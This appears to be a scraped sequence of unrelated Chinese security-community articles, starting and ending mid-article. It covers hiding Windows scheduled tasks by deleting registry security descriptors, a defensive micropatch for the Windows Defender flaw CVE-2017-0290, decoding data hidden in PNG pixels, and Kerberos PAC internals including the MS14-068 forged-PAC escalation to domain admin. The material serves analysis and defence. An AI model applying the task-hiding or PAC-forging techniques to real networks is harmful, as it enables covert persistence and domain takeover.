* 遍历查询 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}` 中的 Id、Index、SD等值
* （后面都是猜测）
* 查询到的 SD 值，会对之后是否有权限查看该任务信息有影响，查不查的到和这个值息息相关
* 根据 SD 值，进行权限检查
* 如果权限通过，格式化输出 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{TaskId}` 中的任务详细信息
* 权限不通过，则进行下一个任务的查询
正常任务查询：
删除 SD 后的任务查询：
可见，因为找不到任务的 SD 信息，无法确定用户是否有权限查看该任务信息，导致系统直接判定无权限查看：
## 缓解计划任务的恶意利用
1. 配置计划任务只允许运行在认证用户上，不可以通过 SYSTEM 账户运行，可以在 GPO 中进行配置，参考 [Allow server operators to schedule tasks](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj852168\(v=ws.11\)?redirectedfrom=MSDN)
2. 配置只允许 administrators 用户组对进程的优先级进行修改，可以在 GPO 中配置，参考 [Increase scheduling priority](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221960\(v=ws.11\)?redirectedfrom=MSDN)
## 参考
<https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page>
<https://docs.microsoft.com/en-us/previous-versions/windows/desktop/automat/bstr>
<https://docs.microsoft.com/en-us/windows/application-management/svchost-service-refactoring>
<https://nasbench.medium.com/a-deep-dive-into-windows-scheduled-tasks-and-the-processes-running-them-218d1eed4cce>
<https://attack.mitre.org/techniques/T1053/002/>
<https://attack.mitre.org/techniques/T1053/005/>
<https://github.com/libyal/winreg-kb/blob/master/documentation/Task%20Scheduler%20Keys.asciidoc>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/>
<https://github.com/dahall/TaskScheduler>
<https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page>
* * * | 社区文章 |
# 【技术分享】 CVE-2017-0290：史上最糟糕的Windows远程执行代码漏洞
|
##### 译文声明
本文是翻译文章，文章来源：0patch.blogspot.jp
原文地址：<https://0patch.blogspot.jp/2017/05/0patching-worst-windows-remote-code.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**稿费：240RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
像过去一周的许多其他故事一样，本文也要首先从下面的推文开始。
Google Project Zero的Natalie Silvanovich和Tavis
Ormandy在Microsoft恶意软件保护引擎中发现了一个严重的安全漏洞，攻击者可以利用这个漏洞在只要运行了Microsoft任何反恶意软件产品（如Security
Essentials或Windows
Defender）的Windows计算机上执行任意代码，并且攻击方法也很简单，只需设法让该计算机访问一个恶意文件即可。同时，针对这个漏洞的攻击向量也非常多，例如通过电子邮件发送文件，或通过任何其他渠道（如Skype或Messenger）发送，或者将其托管在恶意网站上或将其上传到IIS
Web服务器中，等等。
与过去一周的许多其他故事不同的是，本文不会将读者详述Natalie和Tavis是如何发现这个漏洞、如何向Microsoft报告的。相反，本文将重点关注这个漏洞本身，导致该漏洞的根本原因，以及如何为它编写一个微补丁。
但是，首先你可能会问：我们为什么会想到给这个漏洞编写一个微补丁呢？众所周知，微软在修复这个漏洞方面反应非常及时，在周末就已经提供了更新。此外，恶意软件保护引擎是作为动态加载库mpengine.dll实现的，而微软巧妙地设计了其反恶意软件产品，所以人们无需重新启动计算机：只要卸载旧的DLL，加载新的DLL即可。
那么为什么要写一个微补丁呢？实际上，并不是每台计算机都会自动更新：虽然默认情况下的配置是自动应用更新，但是，如果管理员想要控制何时应用更新的话，管理员就会对这个设置进行修改。重要的是，企业管理员都喜欢这样做，因为如此一来，他们就有机会将这些更新部署到组织中的计算机之前，首先对其进行必要的测试。想象一下，如果更新的mpengine.dll有一个缺陷，就有可能阻止用户访问合法文件。
编写这个微补丁的另一个动机在于学习，因为我们以前没有修补过安全产品，所以希望能够从这件事情中学到新的东西。最后的原因是，向读者介绍分析漏洞方面的知识，以及如何编写微补丁。
**再现CVE-2017-0290**
分析漏洞的第一步是再现漏洞。 Project
Zero报告提供了一个可下载的概念验证文件，虽然具有.zip扩展名，但实际上是一个类HTML文件，其中包含一小段漏洞利用代码和大量的随机HTML内容，以确保引擎会处理该文件。
在64位Windows 8.1上再现这个漏洞其实非常简单：只需下载并保存文件就足以使Windows Defender服务崩溃，如下所示：
然后看到：
崩溃后，应用程序事件日志会记录有关此崩溃的错误事件，显示崩溃的模块是mpengine.dll，并且崩溃位置在偏移0x21745a处。
（Google报告中提供了不同的崩溃地址，因为他们使用的是32位计算机。）
请注意，我正在使用mpengine.dll版本1.1.13701.0，这是修复1.1.13704.0之前的最后一个易受攻击的版本。对最后一个易受攻击的版本进行分析总是很好，以便最小化与固定版本的差异
– 您将在分辨这些版本时感谢自己。
**CVE-2017-0290漏洞分析**
在成功再现这个漏洞之后，我们接下来要做的事情就是对其进行详细的分析。为此，我们可以首先从阅读Google的报告开始，因为Natalie和Tavis已经详细地介绍了相关的情况。
对我来说最重要的细节是，这是一个类型混淆错误，具体来说有一些函数期望接收一个
string对象，但是得到的却是一个number对象（这导致调用一个字符串vtable函数，其中却没有vtable）。
这很重要，因为对于类型混淆漏洞来说，典型的修复方法是添加相应的检查，看看类型是否正确。当观察具有漏洞的代码和修复后的代码之间的差异后，这种修复代码通常很容易识别。
下面该IDA上场了。下图显示了崩溃的函数——确切的访问违例出现在mov
rax，[rcx]指令（见红色框）处，地址为0x75A31745A，距离mpengine.dll默认基地址的偏移为0x21745a。
当厂家提供了相应的补丁后，通过比较具有漏洞的代码和修补后的代码，完美我们不仅能够得到非常有用的信息，还能更好地了解含有漏洞的程序和补丁代码。当然，这项比较的工作可能比较耗时，因为通常会涉及大型的二进制文件（比如mpengine.dll是12MB），所以经常得到很多匹配的函数，并且我们要搞清楚的是代码逻辑的不同之处，而非仅仅代码本身的区别——这可能有点令人沮丧。
所以我分析了两个版本的mpengine.dll：一个含有漏洞的1.1.13701.0版本和修补后的1.1.13704.0版本。其中，共有38440个匹配的函数，看看，这可不是一个小数目。我们要做的事情，就是比较两个版本之间的导致发生崩溃函数。如果我很幸运的话，很快就找到补丁，这样就可以早点回家了。
这两个函数在逻辑上是相同的，这意味着缺陷（和补丁）在调用堆栈的较高位置。这时，可以对所有调用这个函数的函数进行相应的比较，但是这里大约有50个函数，如果所有的函数都被证明是相同的，那么这种方法可能变成一个非常艰巨的任务。
（更不用说IDA可能弄不清楚所有调用方。）
现在考察调用堆栈：你可能已经注意到了，到目前为止我还没有使用调试器，原因是Windows
Defender是受保护的服务，因此会设法保护自己免受篡改。即使您是本地管理员，也不能将调试器附加到受保护的进程。并且即使对不保护受保护的服务做这件事情也不容易：虽然它的保护状态是由LaunchProtected注册表值定义的（在我们的例子为HKLM
SYSTEM CurrentControlSet Services WinDefend），但是，当Windows
Defender正在运行时，你无法修改相应的注册表的值，这是为了防止Windows Defender受到“攻击”。
幸运的是，我们有办法阻止Windows Defender——通过PoC让其崩溃。所以，为了让Windows
Defender崩溃，重命名其LaunchProtected注册表值，重新启动计算机（服务的受保护状态仅在系统启动时被读取），然后配置Windows错误报告以生成崩溃进程的转储文件。
（我只创建了LocalDumps键和DumpFolder值，其中包含“C： dumps”）。
在再次让Windows Defender崩溃之后，我将其转储文件放到C：
dumps中，它包含一个访问违例相关的完整调用堆栈。实际上，我只对mpengine.dll的位置感兴趣：
mpengine!FreeSigFiles+0x11ea9a
mpengine!FreeSigFiles+0x12046f
mpengine!FreeSigFiles+0x111e81
mpengine!FreeSigFiles+0x111d9e
mpengine!FreeSigFiles+0x125eaa
mpengine!FreeSigFiles+0x3de1d
mpengine!FreeSigFiles+0x3dbf5
mpengine!FreeSigFiles+0x125eaa
mpengine!FreeSigFiles+0x117ade
mpengine!FreeSigFiles+0x120146
mpengine!FreeSigFiles+0x113d76
mpengine!FreeSigFiles+0xcce7f
mpengine+0x54a99
mpengine+0x865e1
mpengine+0x50f3f
mpengine+0x50d1f
mpengine+0x8c208
mpengine+0x8bf47
mpengine!FreeSigFiles+0x174a3
mpengine+0x13b7d
mpengine!FreeSigFiles+0x1535a
mpengine!_rsignal+0x243
mpengine!_rsignal+0xe7
对于上面的第一个我们已经有所了解——这是我们刚刚分辨出的发生崩溃的函数出现访问违例的位置。所以，我继续处理第二个地址，FreeSigFiles +
0x12046f，并将其放在IDA中。正如预期的那样，它位于发生崩溃的函数调用之后。然后我考察了包含该地址的函数的地址，并考察了它与修补版本的区别。
这看起来添加了相应的检查，如果某些东西不正确，它将退出函数。
（修补版本位于左边。）上面的红色区域是添加的代码，它接收rdi（对象）为参数并将其传递给某个函数的调用，如果该函数的结果为4，则执行情况如前所述，否则将返回值（a1）设置为0（见下部红色区域代码），并且退出该函数。从上面的红色区域中调用的函数似乎决定了对象的类型并返回其类型代码。通过查看对这个函数的其他调用，我找到了JavaScript的typeof运算符的实现，明确了字符串的类型代码实际上就是4。
这显然就是我正在寻找的补丁。确认这一点并非难事，它所做的正好是我们所预期的，同时它还位于崩溃代码路径中。
**针对CVE-2017-0290的微补丁**
现在，我的目标是创建一个微补丁，将相同的补丁逻辑注入到易受攻击的mpengine.dll版本中。
在理想的情况下，我可以原封不动的套用打补丁后的版本中的相关代码，并将其注入到同一个位置——但现实情况是，编译器喜欢使用不同的寄存器和不同的实现代码来实现相同的逻辑。所以，我不得不根据原来的补丁重新实现补丁逻辑。
我们来看看IDA中的含有漏洞的函数。
上图显示了易受攻击的函数，以及注入我们的代码的理想位置。之所以选择该位置，是因为其允许我们从自己的补丁代码直接跳转到函数结尾（地址最低的代码块）。
以下是版本为1.1.13701.0的64位mpengine.dll的补丁代码：
;0patch for CVE-2017-0290 in 64-bit mpengine.dll version 1.1.13701.0
MODULE_PATH "C:AnalysisCVE-2017-0290mpengine.dll_64bit_1.1.13701.0mpengine.dll"
PATCH_ID 271
PATCH_FORMAT_VER 2
VULN_ID 2436
PLATFORM win64
patchlet_start
PATCHLET_ID 1
PATCHLET_TYPE 2
PATCHLET_OFFSET 0x218E10
; We'll need the GetTypeOf function and the location of function epilogue
PIT mpengine.dll!0x218940,mpengine.dll!0x218E9A
; Note that GetTypeOf taints the following registers:
; rdx - always
; rcx - only in case of an exception
; rax - expected, this is the return value
code_start
push rcx ; We need to preserve rcx, as it's still used after our patchlet code
; while GetTypeOf taints rdx, we don't need to preserve it
mov rcx, r9 ; r9 points to the object
call PIT_0x218940 ; GetTypeOf object
pop rcx ; restore rcx
cmp eax, 4 ; is the object of type string?
jz OK ; It is? Very well, continue...
xor al, al ; It isn't? Exit this function without doing anything, return 0
call PIT_ExploitBlocked ; Show "Exploit attempt blocked"
jmp PIT_0x218E9A ; Jump to function epilogue
OK:
code_end
patchlet_end
这个补丁程序将被放到上面代码中显示的位置，其作用像原始的补丁一样，针对该对象（其地址在寄存器r9中）调用GetTypeOf，并查看其类型代码是否为4（字符串）。如果是的话，它将继续执行原始代码注入。否则，它将返回码（寄存器al）设置为0，并跳转到函数结尾。
请注意，为了避免任何副作用，我必须（1）审查GetTypeOf函数，看看哪些寄存器可能会被污染，以及这是否会影响我们注入的补丁后面的代码（它会影响rdx和rcx，但是rdx存放的值不会对我们的注入点有影响），然后（2）在调用GetTypeOf函数之前，将rcx的值存储到堆栈上，因为rcx保留了一些在我们注入的补丁后面的代码仍然要用到的值。
此外，我也为易受攻击的32位版本的mpengine.dll写了相同的补丁。如果您安装了0patch
Agent，补丁ZP-271和ZP-272应该已经下载到您的计算机，静候导致加载mpengine.dll的事件的到来。
**受保护服务的讽刺性**
要恢复原始系统配置，我将Windows Defender恢复为受保护的服务，并且补丁也停止应用。很明显，我们无法将我们的加载程序注入受保护的Windows
Defender中，因为只允许加载Microsoft签名的二进制文件。之所以这样，是因为Windows
Defender想保护自身免受本地恶意软件（即使有管理员权限的代码）的侵害。
具有讽刺意味的是，Windows的防恶意软件，竟然会阻止我们的安全产品在Windows Defender中修复漏洞，而该漏洞的利用代码却可以在Windows
Defender中自由执行任意代码。 （嗯，也许我们应该利用这个漏洞利用代码，使我们的代码得以在Windows Defender中运行，从而修复它的漏洞。）
需要注意的是，给Malware Protection Engine的ZP-271和ZP-272打补丁只适用于没有提供受保护服务的Windows
7和Windows Vista。
**试用CVE-2017-0290微补丁**
如果您想对这些微补丁进行试验的话，需要用到：
1\. 运行Windows Defender软件的32位或64位Windows
7电脑。虽然您也可以在较新的Windows版本上进行测试，但您必须取消Windows Defender的服务保护功能才能继续。
2\. 含有漏洞的mpengine.dll。如果您的Windows Defender不是这个版本（这倒不太可能，由于它会自动更新），您可以在这里下载：
1\. 用于32位Windows的32位mpengine.dll，版本1.1.13701.0
3\. 用于64位Windows的64位mpengine.dll，版本1.1.13701.0
首先，通过提权后的服务控制台停止Windows Defender服务。
然后导航至C： ProgramData Microsoft Windows
Defender（文件夹权限最初不允许你打开它，所以Windows会要求提高权限，之后它会添加你的帐户到文件夹ACL）。打开Definition
Updates文件夹，这时会看到一个或多个具有类似GUID的名称的子文件夹，它们以大括号开头。打开这些文件夹，找到包含mpengine.dll的文件夹。将现有的mpengine.dll重命名为其他名称，然后在其中放入含有漏洞的mpengine.dll。
启动Windows Defender服务。
下载概念验证文件并将其存储到一个空的临时文件夹中。
通过控制面板启动Windows Defender控制台，并通过自定义扫描上述文件夹。请注意，Windows Defender服务将会崩溃。
现在在计算机上安装0patch Agent。如果您还没有安装的话，请下载免费的副本，并使用您的免费的0patch帐户注册。
最后，重新启动Windows Defender服务并重新扫描临时文件夹。这一次，你会看到一个“Exploit Attempt
Blocked”弹出窗口，而不是Windows Defender崩溃。
如果您想自己编译我们的补丁，您可以下载其源代码，并通过0patch Agent for Developers编译它们。
虽然这个漏洞已经在大多数计算机上自动修复，但事实证明，对于打微补丁来说，这是一个有趣的学习机会。我希望这篇文章可以对未来的微补丁开发和使用者有所帮助。
**后记**
当我在写这篇文章的时候，世界正在被WannaCry
ransomware蠕虫狂虐，实际上，该蠕虫利用的是一个已知的漏洞，该漏洞的官方补丁也及时发布了。不幸的是，许多医院和其他重要的基础设施都是脱机的，部分原因还是因为他们仍在使用Windows
XP等不再提供支持的操作系统。在2017年，由于某些合理和复杂的原因，这些过时的系统仍会被继续使用，毫无疑问，在明年和后年，还是有些机构仍然会继续使用它们。
0patch的目标之一，就是为用户提供相应的更新，来保护这些终端系统。防御现代攻击者需要人们快速的反应，尽管CVE-2017-0290的这项练习对用户的价值可能很低，但却是磨练技能和提高速度的一个机会。当今世界将需要越来越多的第三方补丁程序开发人员，因此，热烈欢迎所有现有和潜在的安全研究人员都加入到我们的队伍中来。 | 社区文章 |
原文：<https://www.igorkromin.net/index.php/2018/09/20/retrieving-data-from-hijacked-png-images-using-html-canvas-and-javascript/>
**简介**
* * *
在[上一篇文章](https://xz.aliyun.com/t/2933
"上一篇文章")中，我描述了如何将任意文本数据（就这里来说，就是JSON）存储为PNG图像中的像素。为此，需要将输入数据从JavaScript的字符串转换为Uint8Array，然后在ImageData对象中使用三个通道（RGB）来存储字节，然后，将此图像绘制到画布中，最后保存为PNG文件。在本文中，我们将为读者详细介绍如何从这些图像中提取出原始数据。
在上一篇文章的最后，我们得到了如下所示的一幅图像：
该图像中存储一个序列化的JSON对象，该对象具有3700个索引属性，每个属性都包含一个字符串值“The quick brown fox jumps over
the lazy dog”。
**加载图像**
* * *
我们可以通过创建[Image](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/Image
"Image")对象并将其src属性设置为上一篇文章中的PNG图像来加载图像。在现实中，我们可以设置src属性或URL或甚至[数据URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs "数据URL")。在本例中，为了保持简单起见，这里将直接引用文件。
var img = new Image();
img.onload = function() {
...
};
img.src = 'image.png';
onload()回调函数就是所有解码代码之所在，但是，现在这里只有一个空函数，具体代码见下文。
**将图像绘制到画布**
* * *
加载图像后，我们需要访问其像素数据，这意味着必须首先将其渲染到屏外画布上面。为此，可以创建一个与图像具有相同大小的画布（假设它们都是正方形的），然后，将图像绘制到该2D背景中。
var imgSize = img.width;
var canvas = document.createElement('canvas');
canvas.width = canvas.height = imgSize;
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
**将像素转换为字节数组**
* * *
从上一篇文章中可知，源图像最大为边长256像素的正方形，第一行像素用于表示保存实际数据的正方形的大小，这样的话，还剩下255行像素。这意味着最后一列像素也“报废”了，所以，我们最多使用一个边长为255像素的正方形来存储数据。当然，数据方块的实际大小是可以变化的，并且源图像中第一个像素的红色分量用于存储该方块的大小。
因此，我们只需读取第一个像素值的数据并抓取第一个字节，就能获悉数据的大小。
var headerData = ctx.getImageData(0, 0, 1, 1);
var dataSize = headerData.data[0];
一旦知道了数据的大小，就可以提取这个数据方阵了。请记住，这些数据是以RGBA像素的形式存放的，其中alpha值始终被设置为255（完全不透明），所以，我们需要创建一个足够大的[Uint8Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array
"Uint8Array")数组来保存相应的RGB数据。
var imageData = ctx.getImageData(0, 1, dataSize, dataSize);
var paddedData = imageData.data;
var uint8array = new Uint8Array(paddedData.length / 4 * 3);
对于每4个字节数据，只需将前3字节的值复制到新数组中，并忽略第4个字节的值。这样做有两个原因：由于图像数据是作为[Uint8ClampedArray](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray
"Uint8ClampedArray")数组返回的，这样能够得到一个标准的Uint8Array数组，同时，这样能够跳过alpha通道数据，从而转换为正确的数据类型！
var idx = 0;
for (var i = 0; i < paddedData.length - 1; i += 4) {
var subArray = paddedData.subarray(i, i + 3);
uint8array.set(subArray, idx);
idx += 3;
}
现在，我们将得到一个数组，其中存放了我们所有的数据以及后面大量的零填充数据，当然，这些填充数据也是需要被剔除的。为此，我们需要找到数组中零填充数据段的结束位置：只需从数组末端开始遍历数组，直到我们遇到第一个非零字节为止。
var includeBytes = uint8array.length;
for (var i = uint8array.length - 1; i > 0; i--) {
if (uint8array[i] == 0) {
includeBytes--;
}
else {
break;
}
}
* * *
**对字节数组进行解码**
* * *
为了获得原始的String值，需要使用[TextDecoder.decode()](https://developer.mozilla.org/en-US/docs/Web/API/TextDecoder/decode "TextDecoder.decode\(\)")函数剔除掉零填充数据。
var data = uint8array.subarray(0, includeBytes);
var strData = (new TextDecoder('utf-8')).decode(data);
搞定！现在，strData变量中保存的就是编码到PNG图像中的原始字符串数据。在本文中，我们的原始数据是一个JSON对象，所以，这里可以使用[JSON.parse()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse
"JSON.parse\(\)")轻松将其转换为原来的对象。
正如我在上一篇文章中所说，这里的代码并非是最有效或最棒的，数据存储方式也不是最佳的，但它的确是行之有效的，至少能够满足我们自己的项目的需求。当然，我们还可以更进一步，在第一行存储一个特殊的像素序列，用于存放该图像可解码的指纹。如果一幅图像没有这个像素序列，解码代码就会拒绝对其进行相应的操作。
当然，本文介绍的技术的用途是灵活多样的，这就要看读者的了。最后，祝阅读愉快！ | 社区文章 |
# Windows内网协议学习Kerberos篇之PAC
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
author: daiker@360RedTeam
## 0x00 前言
这是kerbreos篇的最后一篇文章了。这篇文章主要讲的内容是微软为了访问控制而引进的一个扩展PAC，以及PAC在历史上出现过的一个严重的，允许普通用户提升到域管的漏洞MS14068。
## 0x01 PAC 介绍
网上很多版本的kerberos的流程是
1. 用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt hash加密的TGT票据
2. 用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash 加密的TGS票据
3. 用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就允许用户访问。
上面这个流程看起来没错，却忽略一个最重要的因素，那就是用户有没有权限访问该服务，在上面的流程里面，只要用户的hash正确，那么就可以拿到TGT，有了TGT，就可以拿到TGS，有了TGS，就可以访问服务，任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who
am i?”的问题，并没有解决 “What can I do?”的问题。
为了解决上面的这个问题，微软引进了PAC，引进PAC之后的kerberos流程变成
1. 用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt hash加密的TGT票据，TGT里面包含PAC,PAC包含用户的sid，用户所在的组。
2. 用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限，只要TGT正确，就返回TGS票据，这也是kerberoating能利用的原因，任何一个用户，只要hash正确，可以请求域内任何一个服务的TGS票据，具体内容可以参考[Windows内网协议学习Kerberos篇之TGSREQ& TGSREP](https://www.anquanke.com/post/id/190625))
3. 用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就拿着PAC去KDC那边询问用户有没有访问权限，域控解密PAC。获取用户的sid，以及所在的组，再判断用户是否有访问服务的权限，有访问权限(有些服务并没有验证PAC这一步，这也是白银票据能成功的前提，因为就算拥有用户hash，可以制作TGS，也不能制作PAC，PAC当然也验证不成功，但是有些服务不去验证PAC，这是白银票据成功的前提）就允许用户访问。
特别说明的是，PAC对于用户和服务全程都是不可见的。只有KDC能制作和查看PAC。
## 0x02 PAC结构
PAC的结构如下图所示。
PAC整体的结构上是一个AuthorizationData的结构
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
AuthorizationData结构的ad-type主要有以下几个
AD-IF-RELEVANT 1
AD-INTENDED-FOR-SERVER 2
AD-INTENDED-FOR-APPLICATION-CLASS 3
AD-KDC-ISSUED 4
AD-AND-OR 5
AD-MANDATORY-TICKET-EXTENSIONS 6
AD-IN-TICKET-EXTENSIONS 7
AD-MANDATORY-FOR-KDC 8
Reserved values 9-63
OSF-DCE 64
SESAME 65
AD-OSF-DCE-PKI-CERTID 66 (hemsath @us.ibm.com)
AD-WIN2K-PAC 128 (jbrezak @exchange.microsoft.com)
AD-ETYPE-NEGOTIATION 129 (lzhu @windows.microsoft.com)
如上图所示，整个PAC最外层的ad-type为AD-IF-RELEVANT，ad-data还是一个AuthorizationData结构。
这个AuthorizationData的ad-type 为AD-WIN2K-PAC，ad-data为一段连续的空间，
这段空间包含一个头部PACTYPE以及若干个PAC_INFO_BUFFER
头部PACTYPE包括cBuffers,版本以及缓冲区，PAC_INFO_BUFFER为key-value型的
key 的类型如下表所示
类型 | 意义
---|---
0x00000001 | 登录信息。PAC结构必须包含一个这种类型的缓冲区。其他登录信息缓冲区必须被忽略。
0x00000002 | 凭证信息。PAC结构不应包含多个此类缓冲区。第二或后续凭证信息缓冲区在接收时必须被忽略。
0x00000006 | 服务器校验和。PAC结构必须包含一个这种类型的缓冲区。其他登录服务器校验和缓冲区必须被忽略。
0x00000007 | KDC（特权服务器）校验和（第2.8节）。PAC结构必须包含一个这种类型的缓冲区。附加的KDC校验和缓冲区必须被忽略。
0x0000000A | 客户名称和票证信息。PAC结构必须包含一个这种类型的缓冲区。附加的客户和票据信息缓冲区必须被忽略。
0x0000000B | 受约束的委派信息。PAC结构必须包含一个S4U2proxy请求的此类缓冲区，否则不包含。附加的受约束的委托信息缓冲区必须被忽略。
0x0000000C |
用户主体名称（UPN）和域名系统（DNS）信息。PAC结构不应包含多个这种类型的缓冲区。接收时必须忽略第二个或后续的UPN和DNS信息缓冲区。
0x0000000D | 客户索取信息。PAC结构不应包含多个这种类型的缓冲区。附加的客户要求信息缓冲区必须被忽略。
0x0000000E | 设备信息。PAC结构不应包含多个这种类型的缓冲区。附加的设备信息缓冲区必须被忽略。
0x0000000F | 设备声明信息。PAC结构不应包含多个这种类型的缓冲区。附加的设备声明信息缓冲区必须被忽略。
下面详细介绍四个比较重要的
**0x00000001 KERBVALIDATIONINFO**
这个结构是登录信息，也是整个PAC最重要的部分，整个PAC就靠它来验证用户身份了，是个结构体，如下
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive;
USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId; //用户的sid
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;//用户所在的组，如果我们可以篡改的这个的话，添加一个500(域管组)，那用户就是域管了。在ms14068 PAC签名被绕过，用户可以自己制作PAC的情况底下，pykek就是靠向这个地方写进域管组，成为使得改用户变成域管
ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
**0x0000000A PACCLIENTINFO**
客户端Id（8个字节）：
* 包含在Kerberos初始TGT的authtime
NameLength（2字节）
* 用于指定Name 字段的长度（以字节为单位）。
Name
* 包含客户帐户名的16位Unicode字符数组，格式为低端字节序。
**0x00000006和0x00000007**
0x00000006 对应的是服务检验和，0x00000007 对应的是KDC校验和。分别由server密码和KDC密码加密，是为了防止PAC内容被篡改。
存在签名的原因有两个。首先，存在带有服务器密钥的签名，以防止客户端生成自己的PAC并将其作为加密授权数据发送到KDC，以包含在票证中。其次，提供具有KDC密钥的签名，以防止不受信任的服务伪造带有无效PAC的票证。
两个都是PACSIGNATUREDATA结构，他包括以下结构。
1. SignatureType（4个字节）
类型 | 含义 | 签名长度
---|---|---
0xFFFFFF76 | KERBCHECKSUMHMAC_MD5 | 16
0x0000000F | HMACSHA196_AES128 | 12
0x00000010 | HMACSHA196_AES256 | 12
2. Signature
包含校验和。签名的长度由SignatureType字段的值确定
3. RODCIdentifier（2个字节）：
当KDC为RODC时，包含密钥版本号的前16位。当KDC不是RODC时，此字段不存在。
## 0x03 相关安全问题
#### 1\. MS14068
补丁编号是KB3011780，域里面最严重的漏洞之一，它允许任意用户提升到域管权限。下面简要分析下该漏洞。
该漏洞最本质的地方在于Microsoft Windows Kerberos
KDC无法正确检查Kerberos票证请求随附的特权属性证书（PAC）中的有效签名，这里面的签名就是上面提到的服务检验和以及KDC校验和。导致用户可以自己构造一张PAC。
签名原本的设计是要用到HMAC系列的checksum算法，也就是必须要有key的参与，我们没有krbtgt的hash以及服务的hash，就没有办法生成有效的签名，但是问题就出在，实现的时候允许所有的checksum算法都可以，包括MD5。那我们只需要把PAC
进行md5，就生成新的校验和。这也就意味着我们可以随意更改PAC的内容，完了之后再用md5
给他生成一个服务检验和以及KDC校验和。在MS14-068修补程序之后，Microsoft添加了一个附加的验证步骤，以确保校验和类型为KRBCHECKSUMHMAC_MD5。
在KERBVALIDATIONINFO结构里面，我们看到有这两个字段。
其中GroupId是用户所在所在的组，那只要我们把重要组(比如域管组)的sid加进GroupId。那么服务拿这用户的TGS去询问域管用户是否有访问访问改服务的权限的时候，域控会解密PAC，提取里面用户的sid，以及所在的组(GroupId)，我们已经把域管加进去了，是的域控把把这个用户当做域管组里面的成员。从而达到提升为域管的效果。pykek加入的是以下组,
* 域用户（513）
* 域管理员（512）
* 架构管理员（518）
* 企业管理员（519）
* 组策略创建者所有者（520）
现在我们已经能够伪造pac,将我们放在域管的组里，然后伪造检验和。但是即使用户可以伪造PAC。该漏洞的利用依旧还有一个棘手的问题。
前面我们说过。PAC是包含在TGT里面的,而TGT是krbtgt的用户hash加密的，也就意味着即使我们可以伪造PAC，那我们有什么办法讲PAC放在票据里面传输给KDC呢。漏洞的作者用了一个很巧妙的方式。通过查看pykek的源码发现，
作者将PAC加密成密文放在enc-authorization-data里面，enc-authorization-data的结构如下
AuthorizationData::= SEQUENCE OF SEQUENCE {
ad-type[0] Int32,
ad-data[1] OCTET STRING
}
ad-type是加密算法 ad-data是pac加密后的内容 加密用的key是客户端生成的。KDC并不知道这个key。KDC会从PA-DATA里面的APREQ获取到这个key。从而对ad-data进行解密，然后拿到PAC，再检查校验和。
可能很多人抓包,在APREQ里面并没有找到这个key。在上一篇文章里面对于AP_REQ介绍得不多。
只是说了TGT票据就放在这个结构体里面。这里补充介绍下。 APREQ的type是PADATATYPE.AP_REQ(INTEGER 1)
value是如下结构体
AP-REQ ::= [APPLICATION 14] SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (14),
ap-options [2] APOptions,
ticket [3] Ticket,
authenticator [4] EncryptedData -- Authenticator
}
之前说的TGT票据放在这个结构体里面，就是放在ticket里面。 authenticator
的内容包括加密类型和用session_key加密Authenticator加密成的密文。 Authenticator的结构如下
Authenticator ::= [APPLICATION 2] SEQUENCE {
authenticator-vno [0] INTEGER (5),
crealm [1] Realm,
cname [2] PrincipalName,
